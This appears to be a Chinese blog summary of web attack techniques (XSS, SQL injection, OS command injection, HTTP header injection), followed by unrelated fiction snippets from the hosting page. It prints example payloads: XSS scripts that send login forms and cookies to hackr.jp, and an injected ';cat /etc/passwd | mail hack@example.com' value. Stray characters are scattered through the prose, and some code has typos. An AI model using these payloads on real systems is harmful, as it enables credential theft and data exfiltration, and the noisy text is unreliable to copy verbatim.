web安全總結(一)

一语婴、針對Web的攻擊技術

1.HTTP不具備必要的安全功能

2.在客戶端即可篡改請求

在web應用中淫奔,從瀏覽器那里接受到的HTTP請求的全部內(nèi)容贱纠,都可以在客戶端自由地變更皆看、篡改偏陪。所以Web用用可能會接受到與預期數(shù)據(jù)不相同的內(nèi)容策菜。

在HTTP請求報文內(nèi)加載攻擊代碼劣光,就能發(fā)起對Web應用的攻擊亭引。通過URL查詢字段或表單贞岭、HTTP首部八毯、Cookie等途徑把攻擊代碼傳入,若這時Web應用存在安全漏洞瞄桨,那內(nèi)部信息就會遭到竊取话速,或被攻擊者拿到權限。

3.針對Web應用的攻擊模式

對Web應用的攻擊模式有兩種:

  • 主動攻擊
    
  • 被動攻擊
    

以服務器為目標的主動攻擊

主動攻擊(active attack)是指攻擊者通過直接訪問Web應用芯侥,把攻擊代碼傳入的攻擊模式泊交。由于該模式是直接針對服務器上的資源進行攻擊,因此攻擊者需要能夠訪問到那些資源

主動攻擊模式里具有代表性的攻擊是SQL注入攻擊和OS命令注入攻擊柱查。

以服務器為目標的被動攻擊

被動攻擊(passive attack)是指利用圈套策略執(zhí)行攻擊代碼的攻擊模式廓俭。在被動攻擊過程中,攻擊者不直接對目標Web應用訪問發(fā)起攻擊唉工。

被動攻擊通常的攻擊模式如下

  1. 攻擊者誘使用戶觸發(fā)已設置好的陷阱研乒,而陷阱會啟動發(fā)送已嵌入攻擊代碼的HTTP請求。
    
  2. 當用戶不知不覺中招之后淋硝,用戶的瀏覽器或郵件客戶端就會觸發(fā)這個陷阱雹熬。
    
  3. 中招后的用戶瀏覽器會把含有攻擊代碼的HTTP請求發(fā)送給作為攻擊目標Web應用宽菜,運行攻擊代碼。
    
  4. 執(zhí)行完攻擊代碼竿报,存在安全漏洞的Web應用會成為攻擊者的跳板铅乡,可能導致用戶所持有的Cookie等個人信息被竊取,登錄狀態(tài)中的用戶權限遭惡意濫用等后果仰楚。
    

被動攻擊模式中具有代表性的攻擊是跨站腳本攻擊和跨站點請求偽造

二隆判、因輸出轉(zhuǎn)義不完全引發(fā)的安全漏洞

實施Web應用的安全對策大致分為以下兩部分。

  • 客戶端的驗證
    
  • Web應用端(服務器端)的驗證
    
    • 輸入值驗證
      
    • 輸出值驗證
      

1 跨站腳本攻擊

跨站腳本攻擊(Cross-Site Scripting僧界, XSS)是指通過存在安全漏洞的Web網(wǎng)站注冊用戶的瀏覽器內(nèi)存運行非法的HTML標簽或者JavaScript進行的一種攻擊侨嘀。動態(tài)創(chuàng)建的HTML代碼部分可能隱藏這安全漏洞。就這樣攻擊者編寫腳本設下陷阱捂襟,用戶在自己的瀏覽器上運行時咬腕,就會收到被動攻擊。

跨站腳本攻擊有可能造成以下影響:

  • 利用虛假輸入表單騙取用戶信息
    
  • 利用腳本竊取用戶的Cookie葬荷,被害者在不知情的情況下涨共,幫助攻擊者發(fā)送惡意請求
    
  • 顯示偽造的文章或圖片
    
1.1 跨站腳本攻擊案例:

在表單輸入框中嵌入<script>標簽

XSS是攻擊者利用預先設置的陷阱觸發(fā)的被動攻擊
例如:
有url為:http://example.com/login?id=******
充分熟知此處漏洞特點的攻擊者,會創(chuàng)建嵌入惡意代碼的URI宠漩。并隱藏植入事先準備好的欺詐郵件中举反,誘導用戶點擊該URL

```
http://example.com/login?id="<script>var+f=document.getElementById("lgin");f.action="http://hackr.jp/pwget";+f.methend="get";</script><span+s="
```

瀏覽器打開該URI后,直觀沒有發(fā)生任何變化扒吁,但設置的腳本開始偷偷運行火鼻,當用戶在表單輸入用戶名、密碼后雕崩,就會發(fā)送到攻擊者的網(wǎng)站(http://hackr.jp)魁索,導致個人登錄信息被竊取。

1.2 對用戶Cookie的竊取攻擊

除了在表單中設下圈套之外盼铁,下面那種惡意構造的腳本同樣能夠以跨站腳本攻擊的方式粗蔚,竊取到用戶的Cookie信息。

`<script src=http://hackr.jp/xss.js></script>`

該腳本內(nèi)指定的http://hackr/xss.js文件饶火。即下面這段采用JavaScript編寫的代碼

```
var content = escape(document.cookie)
document.write('<img src=http://harkr.jp/?>')
document.write(content)
document.write('>')
```

在存在可跨站腳本攻擊安全漏洞的Web應用上執(zhí)行上面代碼鹏控,即可訪問該Web應用所處域名下的Cookie信息。然后這些信息會發(fā)送至攻擊者的Web網(wǎng)站(http://hackr.jp/)肤寝,記錄在登錄日志中当辐。然后就可以竊取到用戶的Cookie信息

2 SQL注入攻擊

SQL注入(SQL Injection)是指針對Web應用使用的數(shù)據(jù)庫,通過運行非法的SQL而產(chǎn)生的攻擊醒陆,該安全隱患有可能引發(fā)極大的威脅瀑构,有時會直接導致個人信息及機密信息的泄露。

Web應用通常都會用到數(shù)據(jù)庫,當需要對數(shù)據(jù)庫表內(nèi)的數(shù)據(jù)進行檢索或添加寺晌、刪除等操作時世吨,會使用SQL語句連接數(shù)據(jù)庫進行特定的操作。如果在調(diào)用SQL語句的方式上存在疏漏呻征,就有可能執(zhí)行被惡意注入非法SQL語句耘婚。

SQL注入攻擊有可能會造成以下等影響。

  • 非法查看或篡改數(shù)據(jù)庫的數(shù)據(jù)
    
  • 規(guī)避認證
    
  • 執(zhí)行和數(shù)據(jù)庫服務器業(yè)務關聯(lián)的程序等
    
2.1 SQL注入攻擊案例

如果有一個搜索URI為:http://example.com/search?q=西紅柿陆赋,則可以在數(shù)據(jù)庫中查找author為西紅柿的在售書籍信息沐祷。

當攻擊者把西紅柿的查詢字段改為"西紅柿'--'"

則會查出西紅柿的所有數(shù)據(jù)數(shù)據(jù)信息(-- 之后全視為注釋)

2.2 SQL注攻擊破壞SQL數(shù)據(jù)結構

SQL注入是攻擊者講SQL語句改變成開發(fā)者意想不到的形式以達到破壞結構的攻擊。

比如:在上述案例中攒岛,把author的字面值"西紅柿'--'"的字符串復制給$q

SELECT * FROM bookTab WHERE auther = '$q' and flag = 1

SELECT * FROM bookTab WHERE auther = <u>'西紅柿</u>'--' and flag = 1

可以把所有數(shù)據(jù)信息赖临,甚至用戶信息等重要信息得到或者篡改

3 OS命令注入攻擊

OS命令注入攻擊(OS Command Injection)是指通過Web應用,執(zhí)行非法的系統(tǒng)操作命令以達到攻擊的目的灾锯。只要能調(diào)用Shell函數(shù)的地方就有可能被攻擊兢榨。

OS命令注入攻擊可以向Shell發(fā)送命令,讓Windows或Linux操作系統(tǒng)的命令啟動程序顺饮。通過OS注入攻擊可以執(zhí)行OS上安裝著的各種程序吵聪。

3.1 OS注入攻擊案例

如,有咨詢表單兼雄,郵件地址吟逝,郵件內(nèi)容。該功能可將用戶信息的咨詢郵件按已填寫的對方的郵件地址發(fā)送

如果有一下代碼

my $adr = $q->param('mailaddress');
open(MALL, "| /usr/sbin/sendmail $adr");
print MALL "From: info@example.com\n"

程序中的open函數(shù)會調(diào)用sendmail命令發(fā)送郵件赦肋,而指定的郵件發(fā)送地址即$adr的值块攒。

攻擊者則會將下面的值作為郵件地址。

;cat /etc/passwd | mail hack@example.com

程序接收該值金砍,構成以下的命令組合局蚀。

| /usr/sbin/sedmail; cat /etc/passwd | mail hack@example.com

攻擊者命令中的(;)會在OS中被分解為多個執(zhí)行命令的標記麦锯。

可見恕稠,sendmail命令被執(zhí)行分隔后,接下來會執(zhí)行 cat /etc/passwd | mail hack@example.com扶欣。那么還有Linux賬戶信息的文件就會以郵件形式發(fā)送到hack@example.com鹅巍。

4 HTTP首部注入攻擊

HTTP首部注入攻擊(HTTP Header Injection)是指攻擊者通過在響應首部字段內(nèi)插入換行,添加任意響應首部或者主體的一種攻擊料祠。屬于被動攻擊骆捧。

向首部主體內(nèi)添加內(nèi)容的攻擊稱為HTTP響應截斷攻擊( HTTP Response Splitting Attack)

如下,Web應用會把從外部接收到的數(shù)值髓绽,賦給響應首部字段的Location和Set-Cookie敛苇。

```
location: http:..www.example.com/a.cgi?q=12345
Set_cookie: UID=123456
```

其中 12345 為插入值。

HTTP首部注入攻擊可能像這樣顺呕,通過某些響應首部字段需要處理輸出值的地方枫攀,插入換行發(fā)動攻擊括饶。

HTTP首部注入攻擊有可能會造成以下一些影響。

  • 設置任何Cookie信息
    
  • 重定向到任意URL
    
  • 顯示任意的主體(HTTP響應截斷攻擊)
    
4.1 HTTP首部注入攻擊案例

例如来涨,某網(wǎng)站有分類信息:書籍(id:101)图焰、音樂(id:102)、游戲(id:103)

假設有一個功能蹦掐,選擇對應的分類技羔。將會根據(jù)對應的ID反映在響應的Location首部字段內(nèi)。如:Location: http://example.com/?cat=101卧抗。使瀏覽器發(fā)生重定向跳轉(zhuǎn)藤滥。

那么,攻擊者用101%0D%0ASet-Cookie:+SID=123456789代替之前對應的ID后發(fā)送請求社裆。

其中超陆,%0D%0A代表HTTP報文中的換行符,緊接著是可強制將攻擊者網(wǎng)站的回話ID設置成SID=123456789的Set-Cookie首部字段浦马。

攻擊者可以指定修改任意的Cookie信息时呀,通過和會話固定攻擊,攻擊者偽裝成用戶晶默。

4.2 HTTP響應截斷攻擊

HTTP響應截斷攻擊是用在HTTP首部注入的一種攻擊谨娜,攻擊順序相同,但是講兩個%0D%0A%0D%0A并排插入字符串后磺陡。利用兩個聯(lián)系的換行就可以做出HTTP首部與主體分隔所需要的空行趴梢,然后就可以插入偽造的主體,打到攻擊的目的币他。

?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末坞靶,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子蝴悉,更是在濱河造成了極大的恐慌彰阴,老刑警劉巖,帶你破解...
    沈念sama閱讀 221,576評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件拍冠,死亡現(xiàn)場離奇詭異尿这,居然都是意外死亡,警方通過查閱死者的電腦和手機庆杜,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,515評論 3 399
  • 文/潘曉璐 我一進店門射众,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人晃财,你說我怎么就攤上這事叨橱。” “怎么了?”我有些...
    開封第一講書人閱讀 168,017評論 0 360
  • 文/不壞的土叔 我叫張陵罗洗,是天一觀的道長嘉裤。 經(jīng)常有香客問我,道長栖博,這世上最難降的妖魔是什么屑宠? 我笑而不...
    開封第一講書人閱讀 59,626評論 1 296
  • 正文 為了忘掉前任,我火速辦了婚禮仇让,結果婚禮上典奉,老公的妹妹穿的比我還像新娘。我一直安慰自己丧叽,他們只是感情好卫玖,可當我...
    茶點故事閱讀 68,625評論 6 397
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著踊淳,像睡著了一般假瞬。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上迂尝,一...
    開封第一講書人閱讀 52,255評論 1 308
  • 那天脱茉,我揣著相機與錄音,去河邊找鬼垄开。 笑死琴许,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的溉躲。 我是一名探鬼主播榜田,決...
    沈念sama閱讀 40,825評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼锻梳!你這毒婦竟也來了箭券?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,729評論 0 276
  • 序言:老撾萬榮一對情侶失蹤疑枯,失蹤者是張志新(化名)和其女友劉穎辩块,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體神汹,經(jīng)...
    沈念sama閱讀 46,271評論 1 320
  • 正文 獨居荒郊野嶺守林人離奇死亡庆捺,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,363評論 3 340
  • 正文 我和宋清朗相戀三年古今,在試婚紗的時候發(fā)現(xiàn)自己被綠了屁魏。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,498評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡捉腥,死狀恐怖氓拼,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤桃漾,帶...
    沈念sama閱讀 36,183評論 5 350
  • 正文 年R本政府宣布坏匪,位于F島的核電站,受9級特大地震影響撬统,放射性物質(zhì)發(fā)生泄漏适滓。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,867評論 3 333
  • 文/蒙蒙 一恋追、第九天 我趴在偏房一處隱蔽的房頂上張望凭迹。 院中可真熱鬧,春花似錦苦囱、人聲如沸嗅绸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,338評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽鱼鸠。三九已至,卻和暖如春羹铅,著一層夾襖步出監(jiān)牢的瞬間蚀狰,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,458評論 1 272
  • 我被黑心中介騙來泰國打工职员, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留造锅,地道東北人。 一個月前我還...
    沈念sama閱讀 48,906評論 3 376
  • 正文 我出身青樓廉邑,卻偏偏與公主長得像哥蔚,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子蛛蒙,可洞房花燭夜當晚...
    茶點故事閱讀 45,507評論 2 359

推薦閱讀更多精彩內(nèi)容

  • 什么是鑒權 鑒權(authentication)是指驗證用戶是否擁有訪問系統(tǒng)的權利糙箍。傳統(tǒng)的鑒權是通過密碼來驗證的。...
    學的會的前端閱讀 2,469評論 0 2
  • 嗯......→_→基本為《圖解http》筆記 導言: 簡單的HTTP協(xié)議本身并不存在安全性問題牵祟,因此協(xié)議本身幾乎...
    冒險小A閱讀 758評論 0 1
  • 本文主要講解具體有哪些攻擊 Web 站點的手段深夯,以及攻擊會造成怎樣的影響。 針對 Web 應用的攻擊模式 對 We...
    杰哥長得帥閱讀 1,696評論 0 5
  • 今天感恩節(jié)哎诺苹,感謝一直在我身邊的親朋好友咕晋。感恩相遇!感恩不離不棄收奔。 中午開了第一次的黨會掌呜,身份的轉(zhuǎn)變要...
    迷月閃星情閱讀 10,569評論 0 11
  • 彩排完,天已黑
    劉凱書法閱讀 4,223評論 1 3